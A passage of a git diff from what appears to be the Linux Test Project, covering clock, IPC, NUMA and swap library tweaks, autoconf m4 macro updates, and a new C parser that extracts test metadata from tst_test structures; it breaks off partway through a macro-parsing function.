 	if (tst_clock_settime(CLOCK_REALTIME, &adjust))
 		tst_brk(TBROK | TERRNO, "tst_clock_settime() realtime failed");
+
+	/*
+	 * Fix access time of /etc/localtime because adjusting the wallclock
+	 * might have changed it to a time value which lies far ahead
+	 * in the future.
+	 * The access time of a file only changes if the new one is past
+	 * the current one, therefore, just opening a file and reading it
+	 * might not be enough because the current access time might be far
+	 * in the future.
+	 */
+	ret = access(localtime, F_OK | W_OK);
+	if (!ret)
+		SAFE_TOUCH(localtime, 0, NULL);
 }
 
 void tst_rtc_clock_save(const char *rtc_dev)
diff --git a/libs/libltpipc/libipc.c b/libs/libltpipc/libipc.c
index d94880f..c2ecbf0 100644
--- a/libs/libltpipc/libipc.c
+++ b/libs/libltpipc/libipc.c
@@ -122,13 +122,11 @@
  */
 void rm_sema(int sem_id)
 {
-	union semun arr;
-
 	if (sem_id == -1) {	/* no semaphore to remove */
 		return;
 	}
 
-	if (semctl(sem_id, 0, IPC_RMID, arr) == -1) {
+	if (semctl(sem_id, 0, IPC_RMID) == -1) {
 		tst_resm(TINFO, "WARNING: semaphore deletion failed.");
 		tst_resm(TINFO, "This could lead to IPC resource problems.");
 		tst_resm(TINFO, "id = %d", sem_id);
diff --git a/libs/libltpnewipc/libnewipc.c b/libs/libltpnewipc/libnewipc.c
index d0974bb..331f1b1 100644
--- a/libs/libltpnewipc/libnewipc.c
+++ b/libs/libltpnewipc/libnewipc.c
@@ -23,7 +23,6 @@
 #include "libnewipc.h"
 #include "tst_safe_stdio.h"
 #include "tst_safe_sysv_ipc.h"
-#include "tst_clocks.h"
 
 #define BUFSIZE 1024
 
@@ -48,25 +47,25 @@
 	return key;
 }
 
-int get_used_queues(const char *file, const int lineno)
+int get_used_sysvipc(const char *file, const int lineno, const char *sysvipc_file)
 {
 	FILE *fp;
-	int used_queues = -1;
+	int used = -1;
 	char buf[BUFSIZE];
 
-	fp = safe_fopen(file, lineno, NULL, "/proc/sysvipc/msg", "r");
+	fp = safe_fopen(file, lineno, NULL, sysvipc_file, "r");
 
 	while (fgets(buf, BUFSIZE, fp) != NULL)
-		used_queues++;
+		used++;
 
 	fclose(fp);
 
-	if (used_queues < 0) {
-		tst_brk(TBROK, "can't read /proc/sysvipc/msg to get "
-			"used message queues at %s:%d", file, lineno);
+	if (used < 0) {
+		tst_brk(TBROK, "can't read %s to get used sysvipc resource total at "
+			"%s:%d", sysvipc_file, file, lineno);
 	}
 
-	return used_queues;
+	return used;
 }
 
 void *probe_free_addr(const char *file, const int lineno)
@@ -87,15 +86,3 @@
 
 	return addr;
 }
-
-time_t get_ipc_timestamp(void)
-{
-	struct timespec ts;
-	int ret;
-
-	ret = tst_clock_gettime(CLOCK_REALTIME_COARSE, &ts);
-	if (ret < 0)
-		tst_brk(TBROK | TERRNO, "clock_gettime(CLOCK_REALTIME_COARSE)");
-
-	return ts.tv_sec;
-}
diff --git a/libs/libltpnuma/tst_numa.c b/libs/libltpnuma/tst_numa.c
index 56c8640..ef4c8e8 100644
--- a/libs/libltpnuma/tst_numa.c
+++ b/libs/libltpnuma/tst_numa.c
@@ -1,6 +1,5 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- * SPDX-License-Identifier: GPL-2.0-or-later
- *
  * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  */
 
@@ -16,6 +15,7 @@
 #define TST_NO_DEFAULT_MAIN
 #include "tst_test.h"
 #include "tst_numa.h"
+#include "lapi/numaif.h"
 
 void tst_nodemap_print_counters(struct tst_nodemap *nodes)
 {
@@ -45,17 +45,19 @@
 
 #ifdef HAVE_NUMA_V2
 
-const char *tst_numa_mode_name(int mode)
+const char *tst_mempolicy_mode_name(int mode)
 {
 	switch (mode) {
 	case MPOL_DEFAULT:
 		return "MPOL_DEFAULT";
-	case MPOL_BIND:
-		return "MPOL_BIND";
 	case MPOL_PREFERRED:
 		return "MPOL_PREFERRED";
+	case MPOL_BIND:
+		return "MPOL_BIND";
 	case MPOL_INTERLEAVE:
 		return "MPOL_INTERLEAVE";
+	case MPOL_LOCAL:
+		return "MPOL_LOCAL";
 	default:
 		return "???";
 	}
@@ -127,6 +129,8 @@
 	char buf[1024];
 	long mem_total = 0;
 	long mem_used = 0;
+	long file_pages = 0;
+	long mem_avail;
 
 	/* Make sure there is some space for kernel upkeeping as well */
 	min_kb += 4096;
@@ -150,6 +154,9 @@
 
 		if (sscanf(buf, "%*s %*i MemUsed: %li", &val) == 1)
 			mem_used = val;
+
+		if (sscanf(buf, "%*s %*i FilePages: %li", &val) == 1)
+			file_pages = val;
 	}
 
 	fclose(fp);
@@ -159,10 +166,12 @@
 		return 0;
 	}
 
-	if (mem_total - mem_used < (long)min_kb) {
+	mem_avail = mem_total - mem_used + (9 * file_pages)/10;
+
+	if (mem_avail < (long)min_kb) {
 		tst_res(TINFO,
 		        "Not enough free RAM on node %i, have %likB needs %zukB",
-		        node, mem_total - mem_used, min_kb);
+		        node, mem_avail, min_kb);
 		return 0;
 	}
 
diff --git a/libs/libltpsigwait/sigwait.c b/libs/libltpsigwait/sigwait.c
index 2be9499..8689995 100644
--- a/libs/libltpsigwait/sigwait.c
+++ b/libs/libltpsigwait/sigwait.c
@@ -5,9 +5,9 @@
 #include <errno.h>
 #include <stdlib.h>
 #include <limits.h>
-#include "lapi/syscalls.h"
 #include "libsigwait.h"
 #include "tst_sig_proc.h"
+#include "lapi/syscalls.h"
 
 void test_empty_set(swi_func sigwaitinfo, int signo,
 		    enum tst_ts_type type LTP_ATTRIBUTE_UNUSED)
diff --git a/libs/libltpswap/libswap.c b/libs/libltpswap/libswap.c
index 796ac03..a442773 100644
--- a/libs/libltpswap/libswap.c
+++ b/libs/libltpswap/libswap.c
@@ -8,9 +8,9 @@
 
 #define TST_NO_DEFAULT_MAIN
 
-#include "lapi/syscalls.h"
 #include "tst_test.h"
 #include "libswap.h"
+#include "lapi/syscalls.h"
 
 /*
  * Make a swap file
diff --git a/m4/ax_check_compile_flag.m4 b/m4/ax_check_compile_flag.m4
new file mode 100644
index 0000000..bd753b3
--- /dev/null
+++ b/m4/ax_check_compile_flag.m4
@@ -0,0 +1,53 @@
+# ===========================================================================
+#  https://www.gnu.org/software/autoconf-archive/ax_check_compile_flag.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CHECK_COMPILE_FLAG(FLAG, [ACTION-SUCCESS], [ACTION-FAILURE], [EXTRA-FLAGS], [INPUT])
+#
+# DESCRIPTION
+#
+#   Check whether the given FLAG works with the current language's compiler
+#   or gives an error.  (Warnings, however, are ignored)
+#
+#   ACTION-SUCCESS/ACTION-FAILURE are shell commands to execute on
+#   success/failure.
+#
+#   If EXTRA-FLAGS is defined, it is added to the current language's default
+#   flags (e.g. CFLAGS) when the check is done.  The check is thus made with
+#   the flags: "CFLAGS EXTRA-FLAGS FLAG".  This can for example be used to
+#   force the compiler to issue an error when a bad flag is given.
+#
+#   INPUT gives an alternative input source to AC_COMPILE_IFELSE.
+#
+#   NOTE: Implementation based on AX_CFLAGS_GCC_OPTION. Please keep this
+#   macro in sync with AX_CHECK_{PREPROC,LINK}_FLAG.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Guido U. Draheim <guidod@gmx.de>
+#   Copyright (c) 2011 Maarten Bosmans <mkbosmans@gmail.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved.  This file is offered as-is, without any
+#   warranty.
+
+#serial 6
+
+AC_DEFUN([AX_CHECK_COMPILE_FLAG],
+[AC_PREREQ(2.64)dnl for _AC_LANG_PREFIX and AS_VAR_IF
+AS_VAR_PUSHDEF([CACHEVAR],[ax_cv_check_[]_AC_LANG_ABBREV[]flags_$4_$1])dnl
+AC_CACHE_CHECK([whether _AC_LANG compiler accepts $1], CACHEVAR, [
+  ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS
+  _AC_LANG_PREFIX[]FLAGS="$[]_AC_LANG_PREFIX[]FLAGS $4 $1"
+  AC_COMPILE_IFELSE([m4_default([$5],[AC_LANG_PROGRAM()])],
+    [AS_VAR_SET(CACHEVAR,[yes])],
+    [AS_VAR_SET(CACHEVAR,[no])])
+  _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags])
+AS_VAR_IF(CACHEVAR,yes,
+  [m4_default([$2], :)],
+  [m4_default([$3], :)])
+AS_VAR_POPDEF([CACHEVAR])dnl
+])dnl AX_CHECK_COMPILE_FLAGS
diff --git a/m4/ltp-clone7args.m4 b/m4/ltp-clone7args.m4
deleted file mode 100644
index ab55c1e..0000000
--- a/m4/ltp-clone7args.m4
+++ /dev/null
@@ -1,17 +0,0 @@
-dnl SPDX-License-Identifier: GPL-2.0-or-later
-dnl Copyright (c) Linux Test Project, 2014
-
-AC_DEFUN([LTP_CHECK_CLONE_SUPPORTS_7_ARGS],[
-AH_TEMPLATE(CLONE_SUPPORTS_7_ARGS,
-[Define to 1 if clone() supports 7 arguments.])
-AC_MSG_CHECKING([if clone() supports 7 args])
-AC_TRY_LINK([#define _GNU_SOURCE
-		#include <sched.h>
-		#include <stdlib.h>],
-		[
-		#ifndef __ia64__
-		clone(NULL, NULL, 0, NULL, NULL, NULL, NULL);
-		#endif
-		],
-		AC_DEFINE(CLONE_SUPPORTS_7_ARGS) AC_MSG_RESULT(yes), AC_MSG_RESULT(no))
-])
diff --git a/m4/ltp-docparse.m4 b/m4/ltp-docparse.m4
index 88d2e08..9514e5e 100644
--- a/m4/ltp-docparse.m4
+++ b/m4/ltp-docparse.m4
@@ -35,7 +35,13 @@
 with_metadata_html=no
 with_metadata_pdf=no
 
-if test "x$enable_metadata" = xyes && test "x$enable_metadata_html" = xyes -o "x$enable_metadata_pdf" = xyes; then
+if test "x$enable_metadata" != xyes; then
+	enable_metadata_html=no
+	enable_metadata_pdf=no
+	with_metadata_generator=none
+fi
+
+if test "x$enable_metadata_html" = xyes -o "x$enable_metadata_pdf" = xyes; then
 	AX_PROG_PERL_MODULES(Cwd File::Basename JSON LWP::Simple)
 fi
 
diff --git a/m4/ltp-eventfd.m4 b/m4/ltp-eventfd.m4
index 5d729a3..1e0ec68 100644
--- a/m4/ltp-eventfd.m4
+++ b/m4/ltp-eventfd.m4
@@ -1,6 +1,6 @@
 dnl SPDX-License-Identifier: GPL-2.0-or-later
 dnl Copyright (c) Red Hat Inc., 2008
-dnl Copyright (c) 2017 Petr Vorel <pvorel@suse.cz>
+dnl Copyright (c) 2017-2022 Petr Vorel <pvorel@suse.cz>
 dnl Author: Masatake YAMATO <yamato@redhat.com>
 
 AC_DEFUN([LTP_CHECK_SYSCALL_EVENTFD], [
@@ -12,12 +12,12 @@
 		AC_SUBST(AIO_LIBS, "-laio")
 
 		AC_MSG_CHECKING([io_set_eventfd is defined in aio library or aio header])
-		AC_TRY_LINK([#include <stdio.h>
-                             #include <libaio.h>
-		            ],
-		            [io_set_eventfd(NULL, 0); return 0;],
-		            [AC_DEFINE(HAVE_IO_SET_EVENTFD, 1, [Define to 1 if you have `io_set_eventfd' function.])
-						AC_MSG_RESULT(yes)],
-		            [AC_MSG_RESULT(no)])
+		AC_LINK_IFELSE([AC_LANG_PROGRAM([[#include <stdio.h>
+		                                  #include <libaio.h>
+		                                ]],
+		                                [[io_set_eventfd(NULL, 0); return 0;]])],
+		               [AC_DEFINE(HAVE_IO_SET_EVENTFD, 1, [Define to 1 if you have `io_set_eventfd' function.])
+		                AC_MSG_RESULT(yes)],
+		               [AC_MSG_RESULT(no)])
 	fi
 ])
diff --git a/m4/ltp-fsverity.m4 b/m4/ltp-fsverity.m4
new file mode 100644
index 0000000..7104886
--- /dev/null
+++ b/m4/ltp-fsverity.m4
@@ -0,0 +1,10 @@
+dnl SPDX-License-Identifier: GPL-2.0-or-later
+dnl Copyright (c) 2022 Fujitsu Ltd.
+dnl Author: Dai Shili <daisl.fnst@fujitsu.com>
+
+AC_DEFUN([LTP_CHECK_FSVERITY],[
+	AC_CHECK_HEADERS([linux/fsverity.h], [have_fsverity=yes], [AC_MSG_WARN(missing linux/fsverity.h header)])
+	if test "x$have_fsverity" = "xyes"; then
+		AC_CHECK_TYPES(struct fsverity_enable_arg,,,[#include <linux/fsverity.h>])
+	fi
+])
diff --git a/m4/ltp-kernel_devel.m4 b/m4/ltp-kernel_devel.m4
index 8a0598e..d46d547 100644
--- a/m4/ltp-kernel_devel.m4
+++ b/m4/ltp-kernel_devel.m4
@@ -9,7 +9,7 @@
 AC_MSG_CHECKING([for kernel-devel])
 AC_ARG_WITH(
 	[linux-version],
-	[AC_HELP_STRING([--with-linux-version=VERSION],
+	[AS_HELP_STRING([--with-linux-version=VERSION],
 			[specify the Linux version to build modules for])],
 	[LINUX_VERSION="${withval}"],
 	AS_IF([test "$cross_compiling" = "no"],
@@ -18,7 +18,7 @@
 AC_SUBST(LINUX_VERSION)
 
 AC_ARG_WITH([linux-dir],
-	[AC_HELP_STRING([--with-linux-dir=DIR],
+	[AS_HELP_STRING([--with-linux-dir=DIR],
 			[specify path to kernel-devel directory])],
 	[LINUX_DIR="${withval}"],
 	AS_IF([test -n "$LINUX_VERSION"],
@@ -44,7 +44,7 @@
 
 AC_ARG_WITH(
 	[modules],
-	[AC_HELP_STRING([--without-modules],
+	[AS_HELP_STRING([--without-modules],
 			[disable auto-building kernel modules])],
 			[WITH_MODULES="no"],
 			[])
diff --git a/m4/ltp-mremap_fixed.m4 b/m4/ltp-mremap_fixed.m4
deleted file mode 100644
index 66548b8..0000000
--- a/m4/ltp-mremap_fixed.m4
+++ /dev/null
@@ -1,12 +0,0 @@
-dnl SPDX-License-Identifier: GPL-2.0-or-later
-dnl Copyright (c) Linux Test Project, 2012
-dnl Author: Cyril Hrubis <chrubis@suse.cz>
-
-AC_DEFUN([LTP_CHECK_MREMAP_FIXED],[
-AH_TEMPLATE(HAVE_MREMAP_FIXED,
-[Define to 1 if you have MREMAP_FIXED in <sys/mman.h>.])
-AC_MSG_CHECKING([for MREMAP_FIXED in <sys/mman.h>])
-AC_TRY_COMPILE([#define _GNU_SOURCE
-                #include <sys/mman.h>], [int flags = MREMAP_FIXED;],
-               AC_DEFINE(HAVE_MREMAP_FIXED) AC_MSG_RESULT(yes), AC_MSG_RESULT(no))
-])
diff --git a/m4/ltp-perf_event_open.m4 b/m4/ltp-perf_event_open.m4
deleted file mode 100644
index 6966cf2..0000000
--- a/m4/ltp-perf_event_open.m4
+++ /dev/null
@@ -1,16 +0,0 @@
-dnl SPDX-License-Identifier: GPL-2.0-or-later
-dnl Copyright (c) 2014 Fujitsu Ltd.
-dnl Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
-dnl Author: Xiaoguang Wang <wangxg.fnst@cn.fujitsu.com>
-
-AC_DEFUN([LTP_CHECK_SYSCALL_PERF_EVENT_OPEN],[
-AH_TEMPLATE(HAVE_PERF_EVENT_ATTR,
-[Define to 1 if you have struct perf_event_attr])
-AC_MSG_CHECKING([for perf_event_attr in linux/perf_event.h])
-AC_TRY_COMPILE([#include <unistd.h>
-		#include <linux/perf_event.h>],
-		[
-			struct perf_event_attr pe;
-		],
-		AC_DEFINE(HAVE_PERF_EVENT_ATTR) AC_MSG_RESULT(yes), AC_MSG_RESULT(no))
-])
diff --git a/metadata/.gitignore b/metadata/.gitignore
new file mode 100644
index 0000000..07d2fd6
--- /dev/null
+++ b/metadata/.gitignore
@@ -0,0 +1,2 @@
+metaparse
+ltp.json
diff --git a/metadata/Makefile b/metadata/Makefile
new file mode 100644
index 0000000..522af42
--- /dev/null
+++ b/metadata/Makefile
@@ -0,0 +1,30 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2020 Cyril Hrubis <chrubis@suse.cz>
+
+top_srcdir		?= ..
+
+include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/functions.mk
+
+MAKE_TARGETS		:= ltp.json
+HOST_MAKE_TARGETS	:= metaparse
+INSTALL_DIR		= metadata
+
+.PHONY: ltp.json
+
+ltp.json: metaparse
+	$(abs_srcdir)/parse.sh > ltp.json
+ifeq ($(WITH_METADATA),yes)
+	mkdir -p $(abs_top_builddir)/docparse
+	$(MAKE) -C $(abs_top_builddir)/docparse/ -f $(abs_top_srcdir)/docparse/Makefile
+endif
+
+ifeq ($(WITH_METADATA),yes)
+install:
+	$(MAKE) -C $(abs_top_builddir)/docparse/ -f $(abs_top_srcdir)/docparse/Makefile install
+endif
+
+test:
+	$(MAKE) -C $(abs_srcdir)/tests/ test
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/docparse/data_storage.h b/metadata/data_storage.h
similarity index 89%
rename from docparse/data_storage.h
rename to metadata/data_storage.h
index 339450c..91ea70a 100644
--- a/docparse/data_storage.h
+++ b/metadata/data_storage.h
@@ -15,6 +15,7 @@
 	DATA_ARRAY,
 	DATA_HASH,
 	DATA_STRING,
+	DATA_INT,
 };
 
 struct data_node_array {
@@ -41,15 +42,37 @@
 	char val[];
 };
 
+struct data_node_int {
+	enum data_type type;
+	long val;
+};
+
 struct data_node {
 	union {
 		enum data_type type;
 		struct data_node_hash hash;
 		struct data_node_array array;
 		struct data_node_string string;
+		struct data_node_int i;
 	};
 };
 
+static inline const char* data_type_name(enum data_type type)
+{
+	switch (type) {
+	case DATA_ARRAY:
+		return "array";
+	case DATA_HASH:
+		return "hash";
+	case DATA_STRING:
+		return "string";
+	case DATA_INT:
+		return "int";
+	default:
+		return "???";
+	}
+}
+
 static inline struct data_node *data_node_string(const char *string)
 {
 	size_t size = sizeof(struct data_node_string) + strlen(string) + 1;
@@ -64,6 +87,19 @@
 	return node;
 }
 
+static inline struct data_node *data_node_int(long i)
+{
+	struct data_node *node = malloc(sizeof(struct data_node_int));
+
+	if (!node)
+		return NULL;
+
+	node->type = DATA_INT;
+	node->i.val = i;
+
+	return node;
+}
+
 #define MAX_ELEMS 100
 
 static inline struct data_node *data_node_hash(void)
@@ -122,6 +158,7 @@
 
 	switch (self->type) {
 	case DATA_STRING:
+	case DATA_INT:
 	break;
 	case DATA_HASH:
 		for (i = 0; i < self->hash.elems_used; i++) {
@@ -209,6 +246,10 @@
 	unsigned int i;
 
 	switch (self->type) {
+	case DATA_INT:
+		data_print_padd(padd);
+		printf("%li\n", self->i.val);
+	break;
 	case DATA_STRING:
 		data_print_padd(padd);
 		printf("'%s'\n", self->string.val);
@@ -295,6 +336,10 @@
 	unsigned int i;
 
 	switch (self->type) {
+	case DATA_INT:
+		padd = do_padd ? padd : 0;
+		data_fprintf(f, padd, "%li", self->i.val);
+	break;
 	case DATA_STRING:
 		padd = do_padd ? padd : 0;
 		data_fprintf_esc(f, padd, self->string.val);
diff --git a/metadata/metaparse.c b/metadata/metaparse.c
new file mode 100644
index 0000000..2384c73
--- /dev/null
+++ b/metadata/metaparse.c
@@ -0,0 +1,903 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019-2021 Cyril Hrubis <chrubis@suse.cz>
+ * Copyright (c) 2020 Petr Vorel <pvorel@suse.cz>
+ */
+
+#define _GNU_SOURCE
+
+#include <search.h>
+#include <stdio.h>
+#include <string.h>
+#include <libgen.h>
+#include <ctype.h>
+#include <unistd.h>
+#include <errno.h>
+
+#include "data_storage.h"
+
+#define INCLUDE_PATH_MAX 5
+
+static int verbose;
+static char *cmdline_includepath[INCLUDE_PATH_MAX];
+static unsigned int cmdline_includepaths;
+static char *includepath;
+
+#define WARN(str) fprintf(stderr, "WARNING: " str "\n")
+
+static void oneline_comment(FILE *f)
+{
+	int c;
+
+	do {
+		c = getc(f);
+	} while (c != '\n');
+}
+
+static const char *eat_asterisk_space(const char *c)
+{
+	unsigned int i = 0;
+
+	while (isspace(c[i]))
+		i++;
+
+	if (c[i] == '*') {
+		if (isspace(c[i+1]))
+			i++;
+		return &c[i+1];
+	}
+
+	return c;
+}
+
+static void multiline_comment(FILE *f, struct data_node *doc)
+{
+	int c;
+	int state = 0;
+	char buf[4096];
+	unsigned int bufp = 0;
+
+	for (;;) {
+		c = getc(f);
+
+		if (doc) {
+			if (c == '\n') {
+				struct data_node *line;
+				buf[bufp] = 0;
+				line = data_node_string(eat_asterisk_space(buf));
+				if (data_node_array_add(doc, line))
+					WARN("doc string comment truncated");
+				bufp = 0;
+				continue;
+			}
+
+			if (bufp + 1 >= sizeof(buf))
+				continue;
+
+			buf[bufp++] = c;
+		}
+
+		switch (state) {
+		case 0:
+			if (c == '*')
+				state = 1;
+		break;
+		case 1:
+			switch (c) {
+			case '/':
+				return;
+			case '*':
+				continue;
+			default:
+				state = 0;
+			break;
+			}
+		break;
+		}
+	}
+
+}
+
+static const char doc_prefix[] = "\\\n";
+
+static void maybe_doc_comment(FILE *f, struct data_node *doc)
+{
+	int c, i;
+
+	for (i = 0; doc_prefix[i]; i++) {
+		c = getc(f);
+
+		if (c == doc_prefix[i])
+			continue;
+
+		if (c == '*')
+			ungetc(c, f);
+
+		multiline_comment(f, NULL);
+		return;
+	}
+
+	multiline_comment(f, doc);
+}
+
+static void maybe_comment(FILE *f, struct data_node *doc)
+{
+	int c = getc(f);
+
+	switch (c) {
+	case '/':
+		oneline_comment(f);
+	break;
+	case '*':
+		maybe_doc_comment(f, doc);
+	break;
+	default:
+		ungetc(c, f);
+	break;
+	}
+}
+
+static char *next_token2(FILE *f, char *buf, size_t buf_len, struct data_node *doc)
+{
+	size_t i = 0;
+	int c;
+	int in_str = 0;
+
+	buf_len--;
+
+	for (;;) {
+		c = fgetc(f);
+
+		if (c == EOF)
+			goto exit;
+
+		if (in_str) {
+			if (c == '"') {
+				if (i == 0 || buf[i-1] != '\\')
+					goto exit;
+			}
+
+			if (i < buf_len)
+				buf[i++] = c;
+			continue;
+		}
+
+		switch (c) {
+		case '{':
+		case '}':
+		case ';':
+		case '(':
+		case ')':
+		case '=':
+		case ',':
+		case '[':
+		case ']':
+		case '#':
+			if (i) {
+				ungetc(c, f);
+				goto exit;
+			}
+
+			if (i < buf_len)
+				buf[i++] = c;
+			goto exit;
+		case '0' ... '9':
+		case 'a' ... 'z':
+		case 'A' ... 'Z':
+		case '.':
+		case '_':
+		case '-':
+			buf[i++] = c;
+		break;
+		case '/':
+			maybe_comment(f, doc);
+		break;
+		case '"':
+			in_str = 1;
+		break;
+		case ' ':
+		case '\n':
+		case '\t':
+			if (i)
+				goto exit;
+		break;
+		}
+	}
+
+exit:
+	if (i == 0 && !in_str)
+		return NULL;
+
+	buf[i] = 0;
+	return buf;
+}
+
+static char *next_token(FILE *f, struct data_node *doc)
+{
+	static char buf[4096];
+
+	return next_token2(f, buf, sizeof(buf), doc);
+}
+
+static FILE *open_file(const char *dir, const char *fname)
+{
+	FILE *f;
+	char *path;
+
+	if (asprintf(&path, "%s/%s", dir, fname) < 0)
+		return NULL;
+
+	f = fopen(path, "r");
+
+	free(path);
+
+	return f;
+}
+
+static FILE *open_include(FILE *f)
+{
+	char buf[256], *fname;
+	FILE *inc;
+	unsigned int i;
+
+	if (!fscanf(f, "%s\n", buf))
+		return NULL;
+
+	if (buf[0] != '"')
+		return NULL;
+
+	fname = buf + 1;
+
+	if (!buf[0])
+		return NULL;
+
+	fname[strlen(fname)-1] = 0;
+
+	inc = open_file(includepath, fname);
+	if (inc) {
+		if (verbose)
+			fprintf(stderr, "INCLUDE %s/%s\n", includepath, fname);
+
+		return inc;
+	}
+
+	for (i = 0; i < cmdline_includepaths; i++) {
+		inc = open_file(cmdline_includepath[i], fname);
+
+		if (!inc)
+			continue;
+
+		if (verbose) {
+			fprintf(stderr, "INCLUDE %s/%s\n",
+				cmdline_includepath[i], fname);
+		}
+
+		return inc;
+	}
+
+	return NULL;
+}
+
+static void close_include(FILE *inc)
+{
+	if (verbose)
+		fprintf(stderr, "INCLUDE END\n");
+
+	fclose(inc);
+}
+
+static int parse_array(FILE *f, struct data_node *node)
+{
+	const char *token;
+
+	for (;;) {
+		if (!(token = next_token(f, NULL)))
+			return 1;
+
+		if (!strcmp(token, "{")) {
+			struct data_node *ret = data_node_array();
+			parse_array(f, ret);
+
+			if (data_node_array_len(ret))
+				data_node_array_add(node, ret);
+			else
+				data_node_free(ret);
+
+			continue;
+		}
+
+		if (!strcmp(token, "}"))
+			return 0;
+
+		if (!strcmp(token, ","))
+			continue;
+
+		if (!strcmp(token, "NULL"))
+			continue;
+
+		struct data_node *str = data_node_string(token);
+
+		data_node_array_add(node, str);
+	}
+
+	return 0;
+}
+
+static void try_apply_macro(char **res)
+{
+	ENTRY macro = {
+		.key = *res,
+	};
+
+	ENTRY *ret;
+
+	ret = hsearch(macro, FIND);
+
+	if (!ret)
+		return;
+
+	if (verbose)
+		fprintf(stderr, "APPLYING MACRO %s=%s\n", ret->key, (char*)ret->data);
+
+	*res = ret->data;
+}
+
+static int parse_get_array_len(FILE *f)
+{
+	const char *token;
+	int cnt = 0, depth = 0, prev_comma = 0;
+
+	if (!(token = next_token(f, NULL)))
+		return 0;
+
+	if (strcmp(token, "{"))
+		return 0;
+
+	for (;;) {
+		if (!(token = next_token(f, NULL)))
+			return 0;
+
+		if (!strcmp(token, "{"))
+			depth++;
+
+		if (!strcmp(token, "}"))
+			depth--;
+		else
+			prev_comma = 0;
+
+		if (!strcmp(token, ",") && !depth) {
+			prev_comma = 1;
+			cnt++;
+		}
+
+		if (depth < 0)
+			return cnt + !prev_comma;
+	}
+}
+
+static void look_for_array_size(FILE *f, const char *arr_id, struct data_node **res)
+{
+	const char *token;
+	char buf[2][2048] = {};
+	int cur_buf = 0;
+	int prev_buf = 1;
+
+	for (;;) {
+		if (!(token = next_token2(f, buf[cur_buf], sizeof(buf[cur_buf]), NULL)))
+			break;
+
+		if (!strcmp(token, "=") && !strcmp(buf[prev_buf], arr_id)) {
+			int arr_len = parse_get_array_len(f);
+
+			if (verbose)
+				fprintf(stderr, "ARRAY %s LENGTH = %i\n", arr_id, arr_len);
+
+			*res = data_node_int(arr_len);
+
+			break;
+		}
+
+		if (strcmp(buf[cur_buf], "]") && strcmp(buf[cur_buf], "[")) {
+			cur_buf = !cur_buf;
+			prev_buf = !prev_buf;
+		}
+	}
+}
+
+static int parse_array_size(FILE *f, struct data_node **res)
+{
+	const char *token;
+	char *arr_id;
+	long pos;
+	int hash = 0;
+
+	*res = NULL;
+
+	if (!(token = next_token(f, NULL)))
+		return 1;
+
+	if (strcmp(token, "("))
+		return 1;
+
+	if (!(token = next_token(f, NULL)))
+		return 1;
+
+	arr_id = strdup(token);
+
+	if (verbose)
+		fprintf(stderr, "COMPUTING ARRAY '%s' LENGHT\n", arr_id);
+
+	pos = ftell(f);
+
+	rewind(f);
+
+	look_for_array_size(f, arr_id, res);
+
+	if (!*res) {
+		FILE *inc;
+
+		rewind(f);
+
+		for (;;) {
+			if (!(token = next_token(f, NULL)))
+				break;
+
+			if (token[0] == '#') {
+				hash = 1;
+				continue;
+			}
+
+			if (!hash)
+				continue;
+
+			if (!strcmp(token, "include")) {
+				inc = open_include(f);
+
+				if (inc) {
+					look_for_array_size(inc, arr_id, res);
+					close_include(inc);
+				}
+			}
+
+			if (*res)
+				break;
+		}
+	}
+
+	free(arr_id);
+
+	if (fseek(f, pos, SEEK_SET))
+		return 1;
+
+	return 0;
+}
+
+static int parse_test_struct(FILE *f, struct data_node *doc, struct data_node *node)
+{
+	char *token;
+	char *id = NULL;
+	int state = 0;
+	struct data_node *ret;
+
+	for (;;) {
+		if (!(token = next_token(f, doc)))
+			return 1;
+
+		if (!strcmp(token, "}"))
+			return 0;
+
+		switch (state) {
+		case 0:
+			id = strdup(token);
+			state = 1;
+			continue;
+		case 1:
+			if (!strcmp(token, "="))
+				state = 2;
+			else
+				WARN("Expected '='");
+			continue;
+		case 2:
+			if (!strcmp(token, "(")) {
+				state = 3;
+				continue;
+			}
+		break;
+		case 3:
+			if (!strcmp(token, ")"))
+				state = 2;
+			continue;
+
+		case 4:
+			if (!strcmp(token, ","))
+				state = 0;
+			continue;
+		}
+
+		if (!strcmp(token, "{")) {
+			ret = data_node_array();
+			parse_array(f, ret);
+		} else if (!strcmp(token, "ARRAY_SIZE")) {
+			if (parse_array_size(f, &ret))
+				return 1;
+		} else {
+			try_apply_macro(&token);
+			ret = data_node_string(token);
+		}
+
+		if (!ret)
+			continue;
+
+		const char *key = id;
+		if (key[0] == '.')
+			key++;
+
+		data_node_hash_add(node, key, ret);
+		free(id);
+		state = 4;
+	}
+}
+
+static const char *tokens[] = {
+	"static",
+	"struct",
+	"tst_test",
+	"test",
+	"=",
+	"{",
+};
+
+static void macro_get_string(FILE *f, char *buf, char *buf_end)
+{
+	int c;
+	char *buf_start = buf;
+
+	for (;;) {
+		c = fgetc(f);
+
+		switch (c) {
+		case EOF:
+			*buf = 0;
+			return;
+		case '"':
+			if (buf == buf_start || buf[-1] != '\\') {
+				*buf = 0;
+				return;
+			}
+			buf[-1] = '"';
+		break;
+		default:
+			if (buf < buf_end)
+				*(buf++) = c;
+		}
+	}
+}
+
+static void macro_get_val(FILE *f, char *buf, size_t buf_len)
+{
+	int c, prev = 0;
+	char *buf_end = buf + buf_len - 1;
+
+	while (isspace(c = fgetc(f)));
+
+	if (c == '"') {
+		macro_get_string(f, buf, buf_end);
+		return;
+	}
+
+	for (;;) {
+		switch (c) {
+		case '\n':
+			if (prev == '\\') {
+				buf--;
+			} else {
+				*buf = 0;
+				return;
+			}
+		break;
+		case EOF:
+			*buf = 0;
+			return;
+		case ' ':
+		case '\t':
+		break;
+		default:
+			if (buf < buf_end)
+				*(buf++) = c;
+		}
+
+		prev = c;
+		c = fgetc(f);
+	}
+}
+
+static void parse_macro(FILE *f)
+{
+	char name[128];
+	char val[256];
+
